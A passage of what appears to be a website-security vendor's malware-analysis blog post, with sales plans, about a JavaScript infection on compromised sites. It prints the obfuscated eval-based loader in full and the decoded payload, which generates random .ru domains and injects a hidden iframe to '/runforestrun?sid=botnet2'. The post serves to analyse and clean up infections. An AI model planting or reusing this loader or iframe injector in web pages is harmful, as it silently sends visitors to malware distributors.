49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57,50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 50, 53, 44, 54, 49, 50, 44, 53, 55,48, 44, 54, 53, 52, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49, 54, 48, 44, 54, 48, 48, 44, 53, 53, 53, 44, 53, 57,52, 44, 53, 56, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 54, 54, 48, 44, 53, 56, 48, 44, 50, 55, 54, 44, 52, 57,53, 44, 54, 56, 52, 44, 53, 48, 53, 44, 53, 56, 50, 44, 53, 56, 48, 44, 54, 48, 54, 44, 51, 52, 53, 44, 54, 52,56, 44, 53, 48, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 54, 54, 48, 44, 53, 56, 48, 44, 50, 52, 48, 44, 49, 55,48, 44, 52, 51, 56, 44, 51, 53, 48, 44, 52, 57, 50, 44, 51, 50, 53, 44, 52, 54, 50, 44, 51, 52, 53, 44, 50, 48,52, 44, 50, 48, 53, 44, 51, 53, 52, 44, 49, 54, 48, 44, 54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48,44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50,44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 50, 53, 44, 54, 49, 50, 44, 53, 55, 48, 44, 54, 53, 52, 44, 50, 51, 48,44, 54, 57, 48, 44, 53, 48, 53, 44, 54, 57, 54, 44, 51, 50, 53, 44, 54, 57, 54, 44, 53, 56, 48, 44, 54, 56, 52,44, 53, 50, 53, 44, 53, 56, 56, 44, 53, 56, 53, 44, 54, 57, 54, 44, 53, 48, 53, 44, 50, 52, 48, 44, 49, 55, 48,44, 54, 57, 48, 44, 53, 55, 48, 44, 53, 57, 52, 44, 49, 55, 48, 44, 50, 54, 52, 44, 49, 54, 48, 44, 50, 48, 52,44, 53, 50, 48, 44, 54, 57, 54, 44, 53, 56, 48, 44, 54, 55, 50, 44, 50, 57, 48, 44, 50, 56, 50, 44, 50, 51, 53,44, 50, 48, 52, 44, 50, 49, 53, 44, 54, 48, 48, 44, 53, 53, 53, 44, 54, 53, 52, 44, 52, 56, 53, 44, 54, 51, 48,44, 53, 53, 48, 44, 52, 54, 56, 44, 52, 56, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 50, 53, 56, 44, 49, 55, 48,44, 50, 56, 50, 44, 53, 55, 48, 44, 55, 48, 50, 44, 53, 53, 48, 44, 54, 49, 50, 44, 53, 53, 53, 44, 54, 56, 52,44, 53, 48, 53, 44, 54, 57, 48, 44, 53, 56, 48, 44, 54, 56, 52, 44, 53, 56, 53, 44, 54, 54, 48, 44, 51, 49, 53,44, 54, 57, 48, 44, 53, 50, 53, 44, 54, 48, 48, 44, 51, 48, 53, 44, 53, 56, 56, 44, 53, 53, 53, 44, 54, 57, 54,44, 53, 53, 48, 44, 54, 48, 54, 44, 53, 56, 48, 44, 51, 48, 48, 44, 49, 55, 48, 44, 50, 52, 54, 44, 50, 57, 53,44, 49, 57, 50, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44,49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44,54, 51, 48, 44, 53, 49, 48, 44, 54, 56, 52, 44, 53, 52, 53, 44, 50, 55, 54, 44, 53, 55, 53, 44, 54, 57, 54, 44,54, 48, 53, 44, 54, 52, 56, 44, 53, 48, 53, 44, 50, 55, 54, 44, 53, 57, 53, 44, 54, 51, 48, 44, 53, 48, 48, 44,54, 57, 54, 44, 53, 50, 48, 44, 49, 57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 49, 55, 48, 44, 50, 56, 56, 44,53, 54, 48, 44, 55, 50, 48, 44, 49, 55, 48, 44, 51, 53, 52, 44, 49, 54, 48, 44, 54, 48, 44, 49, 54, 48, 44, 49,57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49,54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 50, 53, 44, 54, 49, 50, 44, 53, 55, 48, 44, 54,53, 52, 44, 50, 51, 48, 44, 54, 57, 48, 44, 53, 56, 48, 44, 55, 50, 54, 44, 53, 52, 48, 44, 54, 48, 54, 44, 50,51, 48, 44, 54, 50, 52, 44, 53, 48, 53, 44, 54, 51, 48, 44, 53, 49, 53, 44, 54, 50, 52, 44, 53, 56, 48, 44, 49,57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 49, 55, 48, 44, 50, 56, 56, 44, 53, 54, 48, 44, 55, 50, 48, 44, 49,55, 48, 44, 51, 53, 52, 44, 49, 54, 48, 44, 54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57,50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54,48, 44, 49, 57, 50, 44, 53, 50, 53, 44, 54, 49, 50, 44, 53, 55, 48, 44, 54, 53, 52, 44, 50, 51, 48, 44, 54, 57,48, 44, 53, 56, 48, 44, 55, 50, 54, 44, 53, 52, 48, 44, 54, 48, 54, 44, 50, 51, 48, 44, 55, 48, 56, 44, 53, 50,53, 44, 54, 57, 48, 44, 53, 50, 53, 44, 53, 56, 56, 44, 53, 50, 53, 44, 54, 52, 56, 44, 53, 50, 53, 44, 54, 57,54, 44, 54, 48, 53, 44, 49, 57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 49, 55, 48, 44, 54, 50, 52, 44, 53, 50,53, 44, 54, 48, 48, 44, 53, 48, 48, 44, 54, 48, 54, 44, 53, 53, 48, 44, 50, 48, 52, 44, 50, 57, 53, 44, 49, 57,50, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48,44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 54, 48, 48,44, 53, 53, 53, 44, 53, 57, 52, 44, 53, 56, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 54, 54, 48, 44, 53, 56, 48,44, 50, 55, 54, 44, 52, 57, 48, 44, 54, 54, 54, 44, 53, 48, 48, 44, 55, 50, 54, 44, 50, 51, 48, 44, 53, 56, 50,44, 53, 54, 48, 44, 54, 55, 50, 44, 53, 48, 53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 52, 48, 50, 44, 53, 50, 48,44, 54, 51, 48, 44, 53, 52, 48, 44, 54, 48, 48, 44, 50, 48, 48, 44, 54, 51, 48, 44, 53, 49, 48, 44, 54, 56, 52,44, 53, 52, 53, 44, 50, 52, 54, 44, 50, 57, 53, 44, 54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44,49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 54, 50, 53, 44, 54, 48, 44, 49,54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 54, 50, 53, 44, 53, 57, 52, 44, 52, 56, 53, 44, 54,57, 54, 44, 52, 57, 53, 44, 54, 50, 52, 44, 50, 48, 48, 44, 54, 48, 54, 44, 50, 48, 53, 44, 55, 51, 56, 44, 54,50, 53, 44, 54, 48, 44, 54, 50, 53, 44, 50, 54, 52, 44, 49, 54, 48, 44, 51, 49, 56, 44, 50, 52, 48, 44, 50, 56,56, 44, 50, 48, 53, 44, 51, 53, 52, 93, 59, 118, 61, 34, 101, 118, 97, 34, 59, 125, 105, 102, 40, 118, 41, 101,61, 119, 105, 110, 100, 111, 119, 91, 118, 43, 34, 108, 34, 93, 59, 119, 61, 102, 59, 115, 61, 91, 93, 59, 114,61, 83, 116, 114, 105, 110, 103, 59, 122, 61, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34, 58, 34, 34, 41, 59,102, 111, 114, 40, 59, 49, 55, 55, 54, 45, 53, 43, 53, 62, 105, 59, 105, 43, 61, 49, 41, 123, 106, 61, 105, 59,105, 102, 40, 101, 41, 115, 61, 115, 43, 114, 91, 102, 114, 43, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34,58, 49, 50, 41, 93, 40, 40, 119, 91, 106, 93, 47, 40, 53, 43, 101, 40, 34, 106, 37, 50, 34, 41, 41, 41, 41, 59,125, 10, 105, 102, 40, 102, 41, 101, 40, 115, 41, 59, 125, 10));

Second obfuscation level:

try {
prototype % 2;
} catch (asd) {
x = 2;
}
try {
q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" :"")]("p");
q.appendChild(q + "");
} catch (fwbewe) {
i = 0;
try {
prototype * 5;
} catch (z) {
fr = "fromChar";
f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468,585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580,624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192,590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520,630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624,525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525,354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192,160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50,192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624,525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385,354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630,575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205,354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654,490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160,192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252,245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505,696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60,160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280,342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288,600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205,192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600,200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230,390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366,160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405,192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192,160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575,276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366,160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575,276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606,570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50,612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702,545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160,684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270,385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295,60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690,505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160,648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192,570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570,426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582,570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495,234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234,525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220,234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234,220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610,234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192,160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540,606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192,575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485,660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696,580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160,750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192,215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510,702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192,160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485,690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204,205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485,690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192,160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570,666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354,50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550,468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582,550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570,702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366,160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580,240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192,160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570,594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654,505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555,696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630,510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170,354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726,540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160,192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690,525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160,192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726,230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160,192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60,625, 264, 160, 318, 240, 288, 205, 354];
v = "eva";
}
if (v) e = window[v + "l"];
w = f;
s = [];
r = String;
z = ((e) ? "Code" : "");
for (; 1776 - 5 + 5 > i; i += 1) {
j = i;
if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
}
if (f) e(s);
}

Malicious payload

Decoded payload injects hidden iframe to random domains in *.ru zone. Variable domainName is generated randomly and inserted as a first part of iframe source attribute. Second part of the URL is "/runforestrun?sid=botnet2"

function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function () {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}
}, 500);

Malware clean-up

Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.

Malware clean-up and blacklisting removal plans for websites

Malware clean-up and hacking recovery plans. Get your website cleaned and removed from blacklists to prevent traffic loss and protect your visitors!

emergency
249$ /yr
1 domain
Initial Response Time within 4 hrs.
Manual Malware Removal / Full Website Audit
Blacklisting removal
Web Application Firewall (WAF)
Dedicated Malware Analyst
Create Account

economy
149$ /yr
1 domain
Initial Response Time within 12 hrs.
Malware clean-up
Blacklisting removal
24/7 Access to Cybersecurity Professionals
Create Account

more plans

Need help? contactus@quttera.com

Pages

Thursday, November 28, 2013

Threat Code Mixed With Google Analytics Redirects Visitors To Malware Distributor

Obfuscated malicious JavaScript code combined with GA code

Background

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).Website malware scanner report

Malware entry

Beautified script

Malicious payload

Blacklisting status

Malware clean-up

Monday, November 18, 2013

JavaScript Malware In Website Injecting Malicious Iframes

Compromised website infected with malicious JavaScript

Background

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware entry details

Beautified script

Malicious payload

Blacklisting status

Malware clean-up

Wednesday, November 6, 2013

JavaScript Malware In Websites

Obfuscated malicious JavaScript code snippets that were detected on scanned websites

Background

Sample 1

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware details

Beautified script

Malicious payload

Blacklisting status

Sample 2

Malicious action

Malware details

Beautified script

Malicious payload

Malware clean-up

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report